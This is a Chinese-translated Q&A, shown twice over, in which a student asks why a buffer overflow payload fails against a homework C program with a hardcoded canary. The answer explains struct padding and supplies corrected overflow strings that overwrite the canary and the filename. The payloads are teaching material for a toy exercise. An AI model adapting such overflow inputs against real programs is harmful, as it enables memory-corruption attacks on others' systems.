利用具有金丝雀保护的缓冲区溢出
Exploit a buffer overflow with canary protection
我正在尝试利用这个简单的程序来做作业:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUFSIZE 1024
typedef struct {
char flag_content[BUFSIZE];
char guess[47];
unsigned canary;
char flag_file[BUFSIZE];
} st_t;
int main(){
FILE *f = NULL;
st_t st = {
.flag_file = "fake_flag",
.canary = 0x4249b876
};
printf("Guess the flag!\n");
scanf("%s", st.guess);
f = fopen(st.flag_file, "rb");
if (f == NULL){
printf("flag error\n");
exit(-1);
}
if (fread(st.flag_content, BUFSIZE, 1, f) < 0){
printf("flag error\n");
exit(-1);
}
if (st.canary != 0x4249b876) {
printf("canary error\n");
exit(-1);
}
if (!strcmp(st.guess, st.flag_content)){
printf("You guessed it right!\n");
} else {
printf("Sorry but the flag is \"%s\"\n", st.flag_content);
}
exit(1);
}
目的是修改 st.flag_file
插入 "flag.txt"
而不是 "fake_flag.txt"
以读取其内容。
很容易发现有缓冲区溢出,但也有金丝雀,所以我把这个exploit写成scanf
:
的输入
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt
网上查到十六进制的0x4249b876
翻译成v¸IB
但是当我 运行 来自终端的代码时,这是输出
./mission1
Guess the flag!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt
canary error
并用 gdb 进行检查,我发现变量 st.flag_file = "flag.txt"
是正确的,但变量 st.canary = 0x4249b8c2
我看不懂。为什么?
您遇到的问题来自 struct
的对齐要求。特别是,在 guess
和 canary
之间有编译器插入的额外填充。尝试转储整个结构 and/or 成员的地址,您将看到填充。
最终结果是您将需要超过 47 个字节 (A
) 才能达到 canary
,通常需要多一个字节。所以而不是,例如:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag
您将需要:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag
还要注意,转义 canary 的字符可能是个好主意(以避免编码等问题)并使其更具可读性(与实际的 canary 进行比较)。
题外话 注意:
fread(st.flag_content, BUFSIZE, 1, f) < 0
始终为假,因为 fread
returns a size_t
(无符号)。
我正在尝试利用这个简单的程序来做作业:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUFSIZE 1024
typedef struct {
char flag_content[BUFSIZE];
char guess[47];
unsigned canary;
char flag_file[BUFSIZE];
} st_t;
int main(){
FILE *f = NULL;
st_t st = {
.flag_file = "fake_flag",
.canary = 0x4249b876
};
printf("Guess the flag!\n");
scanf("%s", st.guess);
f = fopen(st.flag_file, "rb");
if (f == NULL){
printf("flag error\n");
exit(-1);
}
if (fread(st.flag_content, BUFSIZE, 1, f) < 0){
printf("flag error\n");
exit(-1);
}
if (st.canary != 0x4249b876) {
printf("canary error\n");
exit(-1);
}
if (!strcmp(st.guess, st.flag_content)){
printf("You guessed it right!\n");
} else {
printf("Sorry but the flag is \"%s\"\n", st.flag_content);
}
exit(1);
}
目的是修改 st.flag_file
插入 "flag.txt"
而不是 "fake_flag.txt"
以读取其内容。
很容易发现有缓冲区溢出,但也有金丝雀,所以我把这个exploit写成scanf
:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt
网上查到十六进制的0x4249b876
翻译成v¸IB
但是当我 运行 来自终端的代码时,这是输出
./mission1
Guess the flag!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt
canary error
并用 gdb 进行检查,我发现变量 st.flag_file = "flag.txt"
是正确的,但变量 st.canary = 0x4249b8c2
我看不懂。为什么?
您遇到的问题来自 struct
的对齐要求。特别是,在 guess
和 canary
之间有编译器插入的额外填充。尝试转储整个结构 and/or 成员的地址,您将看到填充。
最终结果是您将需要超过 47 个字节 (A
) 才能达到 canary
,通常需要多一个字节。所以而不是,例如:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag
您将需要:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag
还要注意,转义 canary 的字符可能是个好主意(以避免编码等问题)并使其更具可读性(与实际的 canary 进行比较)。
题外话 注意:
fread(st.flag_content, BUFSIZE, 1, f) < 0
始终为假,因为 fread
returns a size_t
(无符号)。